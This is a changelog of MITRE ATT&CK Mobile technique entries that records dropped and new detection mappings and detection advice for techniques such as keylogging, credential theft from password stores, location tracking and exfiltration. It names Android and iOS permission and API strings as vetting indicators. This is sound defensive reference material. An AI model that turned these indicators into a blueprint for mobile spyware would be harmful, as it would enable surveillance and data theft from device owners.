modified	2025-04-16 21:21:52.139000+00:00	2025-10-24 17:49:07.487000+00:00
x_mitre_detection	Application vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.

[T1636.003] Protected User Data: Contact List

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0679: Detection of Contact List

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.342000+00:00	2025-10-24 17:49:30.430000+00:00
x_mitre_detection	On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application’s manifest, or `NSContactsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.

[T1634] Credentials from Password Store

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0633: Detection of Credentials from Password Store

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:55.358000+00:00	2025-10-24 17:49:23.749000+00:00
x_mitre_detection	Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.

[T1471] Data Encrypted for Impact

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0678: Detection of Data Encrypted for Impact

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.034000+00:00	2025-10-24 17:49:28.514000+00:00
x_mitre_detection	Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.

[T1641] Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0660: Detection of Data Manipulation

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:54.742000+00:00	2025-10-24 17:49:21.564000+00:00
x_mitre_detection	Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.

[T1533] Data from Local System

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0713: Detection of Data from Local System

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.505000+00:00	2025-10-24 17:49:30.706000+00:00
x_mitre_detection	Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1481.001] Web Service: Dead Drop Resolver

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0617: Detection of Dead Drop Resolver

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:52.296000+00:00	2025-10-24 17:49:07.948000+00:00
x_mitre_detection	Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1626.001] Abuse Elevation Control Mechanism: Device Administrator Permissions

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (Permissions Request)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0630: Detection of Device Administrator Permissions

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:52.648000+00:00	2025-10-24 17:49:08.587000+00:00
x_mitre_detection	Users are prompted for approval when an application requests device administrator permissions. Users can see which applications are registered as device administrators in the device settings. Application vetting services can check for the string `BIND_DEVICE_ADMIN` in the application’s manifest. This indicates it can prompt the user for device administrator permissions.

[T1629.002] Impair Defenses: Device Lockout

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0603: Detection of Device Lockout

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.782000+00:00	2025-10-24 17:49:13.285000+00:00
x_mitre_detection	Users can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.

[T1629.003] Impair Defenses: Disable or Modify Tools

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0693: Detection of Disable or Modify Tools

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.026000+00:00	2025-10-24 17:48:33.763000+00:00
x_mitre_detection	Users can view a list of active device administrators in the device settings.

[T1630.003] Indicator Removal on Host: Disguise Root/Jailbreak Indicators

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0710: Detection of Disguise Root/Jailbreak Indicators

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.262000+00:00	2025-10-24 17:49:12.130000+00:00
x_mitre_detection	Mobile security products can use attestation to detect compromised devices.

[T1637.001] Dynamic Resolution: Domain Generation Algorithms

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0669: Detection of Domain Generation Algorithms

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:59.384000+00:00	2025-10-24 17:49:39.530000+00:00
x_mitre_detection	Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names

[T1407] Download New Code at Runtime

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0041: Application Vetting (API Calls)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0618: Detection of Download New Code at Runtime

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.660000+00:00	2025-10-24 17:48:55.445000+00:00
x_mitre_detection	Existing network infrastructure may detect network calls to known malicious domains or the transfer of malicious payloads over the network. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities). Unfortunately, this is only a partial mitigation, as additional scrutiny would still need to be applied to applications that use these techniques. These techniques are often used without malicious intent, and applications may employ other techniques to hide their use of these techniques.

[T1456] Drive-By Compromise

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0614: Detection of Drive-By Compromise

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:59.531000+00:00	2025-10-24 17:49:39.614000+00:00
x_mitre_detection	Mobile security products can often alert the user if their device is vulnerable to known exploits.

[T1637] Dynamic Resolution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0613: Detection of Dynamic Resolution

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.329000+00:00	2025-10-24 17:48:34.706000+00:00
x_mitre_detection	Detecting dynamically generated domains can be challenging due to the number of different Domain Generation Algorithms (DGAs), constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names or rarely visited domains.

[T1521] Encrypted Channel

Current version: 2.0

New Detections (Detection Strategies -> Technique):

DET0641: Detection of Encrypted Channel

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.602000+00:00	2025-10-24 17:49:34.332000+00:00
x_mitre_detection	Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1642] Endpoint Denial of Service

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0627: Detection of Endpoint Denial of Service

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.297000+00:00	2025-10-24 17:49:33.803000+00:00
x_mitre_detection	On Android, users can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.

[T1624] Event Triggered Execution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)

New Detections (Detection Strategies -> Technique):

DET0647: Detection of Event Triggered Execution

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:56.521000+00:00	2025-10-24 17:49:26.888000+00:00
x_mitre_detection	Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.

[T1627] Execution Guardrails

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0653: Detection of Execution Guardrails

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 18:31:54.804000+00:00	2025-10-24 17:48:44.210000+00:00
x_mitre_detection	Detecting the use of guardrails may be difficult depending on the implementation. Users can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. Application vetting services can detect unnecessary and potentially permissions or API calls.

[T1639] Exfiltration Over Alternative Protocol

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0698: Detection of Exfiltration Over Alternative Protocol

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:48.656000+00:00	2025-10-24 17:48:41.491000+00:00
x_mitre_detection	[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1646] Exfiltration Over C2 Channel

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0615: Detection of Exfiltration Over C2 Channel

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.650000+00:00	2025-10-24 17:48:36.720000+00:00
x_mitre_detection	[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1639.001] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0701: Detection of Exfiltration Over Unencrypted Non-C2 Protocol

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:48.130000+00:00	2025-10-24 17:48:38.977000+00:00
x_mitre_detection	[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1404] Exploitation for Privilege Escalation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0665: Detection of Exploitation for Privilege Escalation

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.809000+00:00	2025-10-24 17:48:38.088000+00:00
x_mitre_detection	Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.

[T1428] Exploitation of Remote Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0663: Detection of Exploitation of Remote Services

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:46.157000+00:00	2025-10-24 17:48:31.144000+00:00
x_mitre_detection	Detecting software exploitation initiated by a mobile device may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.

[T1630.002] Indicator Removal on Host: File Deletion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0638: Detection of File Deletion

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.593000+00:00	2025-10-24 17:49:12.849000+00:00
x_mitre_detection	Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Application vetting services could be extra scrutinous of applications that request device administrator permissions.

[T1420] File and Directory Discovery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (Permissions Request)

New Detections (Detection Strategies -> Technique):

DET0682: Detection of File and Directory Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:55.729000+00:00	2025-10-24 17:49:24.899000+00:00
x_mitre_detection	On Android, users are presented with a permissions popup when an application requests access to external device storage.

[T1541] Foreground Persistence

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0637: Detection of Foreground Persistence

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.743000+00:00	2025-10-24 17:48:52.197000+00:00
x_mitre_detection	Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. Applications could be vetted for their use of the `startForeground()` API, and could be further scrutinized if usage is found.

[T1417.002] Input Capture: GUI Input Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0676: Detection of GUI Input Capture

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 18:58:58.592000+00:00	2025-10-24 17:48:45.045000+00:00
x_mitre_detection	Android users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest.

[T1643] Generate Traffic from Victim

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0608: Detection of Generate Traffic from Victim

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.113000+00:00	2025-10-24 17:49:12.043000+00:00
x_mitre_detection	On Android, users can review which applications can use premium SMS features in the “Special access” page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.

[T1627.001] Execution Guardrails: Geofencing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Notifications)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0648: Detection of Geofencing

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.143000+00:00	2025-10-24 17:49:31.935000+00:00
x_mitre_detection	Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused location permissions or API calls.

[T1628] Hide Artifacts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0640: Detection of Hide Artifacts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:59.084000+00:00	2025-10-24 17:49:39.161000+00:00
x_mitre_detection	The user can examine the list of all installed applications in the device settings. Application vetting services could potentially detect the usage of APIs intended for artifact hiding.

[T1625] Hijack Execution Flow

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0694: Detection of Hijack Execution Flow

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.121000+00:00	2025-10-24 17:48:53.101000+00:00
x_mitre_detection	Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.

[T1617] Hooking

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0719: Detection of Hooking

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:39.824000+00:00	2025-10-24 17:49:24.183000+00:00
x_mitre_detection	Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1629] Impair Defenses

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Termination)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0687: Detection of Impair Defenses

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.996000+00:00	2025-10-24 17:48:30.589000+00:00
x_mitre_detection	Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running. Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense)

[T1430.002] Location Tracking: Impersonate SS7 Nodes

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0662: Detection of Impersonate SS7 Nodes

Details

values_changed
STIX Field	Old value	New Value
modified	2025-01-21 16:22:43.947000+00:00	2025-10-24 17:48:24.309000+00:00
x_mitre_detection	Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.

[T1630] Indicator Removal on Host

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0651: Detection of Indicator Removal on Host

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:44.391000+00:00	2025-10-24 17:48:23.556000+00:00
x_mitre_detection	Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity.

[T1544] Ingress Tool Transfer

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Network Communication)
DS0041: Application Vetting (Permissions Requests)

New Detections (Detection Strategies -> Technique):

DET0718: Detection of Ingress Tool Transfer

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.175000+00:00	2025-10-24 17:48:34.355000+00:00
x_mitre_detection	Application vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution.

[T1417] Input Capture

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0705: Detection of Input Capture

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:52.964000+00:00	2025-10-24 17:49:11.864000+00:00
x_mitre_detection	Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. Users can view and manage installed third-party keyboards.

[T1516] Input Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0612: Detection of Input Injection

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:56.042000+00:00	2025-10-24 17:49:25.635000+00:00
x_mitre_detection	Users can view applications that have registered accessibility services in the accessibility menu within the device settings.

[T1634.001] Credentials from Password Store: Keychain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0664: Detection of Keychain

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.670000+00:00	2025-10-24 17:49:03.949000+00:00
x_mitre_detection	Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.

[T1417.001] Input Capture: Keylogging

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0661: Detection of Keylogging

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.936000+00:00	2025-10-24 17:49:14.276000+00:00
x_mitre_detection	On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.

[T1430] Location Tracking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0675: Detection of Location Tracking

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:52.460000+00:00	2025-10-24 17:49:08.214000+00:00
x_mitre_detection	Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. In both Android (6.0 and up) and iOS, users can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary.

[T1461] Lockscreen Bypass

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0645: Detection of Lockscreen Bypass

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-16 16:23:05.146000+00:00	2025-10-24 17:49:29.764000+00:00
x_mitre_detection	Users can see if someone is watching them type in their device passcode.

[T1655] Masquerading

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0715: Detection of Masquerading

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.771000+00:00	2025-10-24 17:49:38.098000+00:00
x_mitre_detection

[T1575] Native API

Current version: 2.0

New Detections (Detection Strategies -> Technique):

DET0717: Detection of Native API

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.389000+00:00	2025-10-24 17:48:47.482000+00:00
x_mitre_detection	This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.

[T1423] Network Service Scanning

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0696: Detection of Network Service Scanning

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.481000+00:00	2025-10-24 17:48:35.175000+00:00
x_mitre_detection	Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1509] Non-Standard Port

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Flow)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0706: Detection of Non-Standard Port

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.980000+00:00	2025-10-24 17:49:07.116000+00:00
x_mitre_detection	Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.

[T1406] Obfuscated Files or Information

Current version: 3.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0720: Detection of Obfuscated Files or Information

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:55.894000+00:00	2025-10-24 17:49:25.462000+00:00
x_mitre_detection	Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.

[T1481.003] Web Service: One-Way Communication

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0610: Detection of One-Way Communication

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:56.869000+00:00	2025-10-24 17:49:28.337000+00:00
x_mitre_detection	Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1644] Out of Band Data

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0688: Detection of Out of Band Data

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.451000+00:00	2025-10-24 17:49:34.162000+00:00
x_mitre_detection	If a user sees a notification with text they do not recognize, they should review their list of installed applications.

[T1629.001] Impair Defenses: Prevent Application Removal

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0598: Detection of Prevent Application Removal

Details

values_changed
STIX Field	Old value	New Value
modified	2023-09-28 15:38:41.106000+00:00	2025-10-24 17:49:28.687000+00:00
x_mitre_detection	Users can view a list of device administrators and applications that have registered accessibility services in device settings. Users can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.

[T1424] Process Discovery

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0692: Detection of Process Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.337000+00:00	2025-10-24 17:48:28.244000+00:00
x_mitre_detection	Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.

[T1631] Process Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0632: Detection of Process Injection

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:54.246000+00:00	2025-10-24 17:49:16.232000+00:00
x_mitre_detection	Application vetting services could look for misuse of dynamic libraries.

[T1636] Protected User Data

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0681: Detection of Protected User Data

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:44.829000+00:00	2025-10-24 17:48:25.642000+00:00
x_mitre_detection	Users can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.

[T1604] Proxy Through Victim

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0631: Detection of Proxy Through Victim

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.548000+00:00	2025-10-24 17:48:50.301000+00:00
x_mitre_detection	Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.

[T1631.001] Process Injection: Ptrace System Calls

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0622: Detection of Ptrace System Calls

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.841000+00:00	2025-10-24 17:48:30.394000+00:00
x_mitre_detection	Application vetting services could look for misuse of dynamic libraries.

[T1430.001] Location Tracking: Remote Device Management Services

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0702: Detection of Remote Device Management Services

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:52.807000+00:00	2025-10-24 17:49:09.660000+00:00
x_mitre_detection	Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.

[T1582] SMS Control

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0599: Detection of SMS Control

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:54.090000+00:00	2025-10-24 17:49:15.008000+00:00
x_mitre_detection	Users can view the default SMS handler in system settings.

[T1636.004] Protected User Data: SMS Messages

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0686: Detection of SMS Messages

Details

values_changed
STIX Field	Old value	New Value
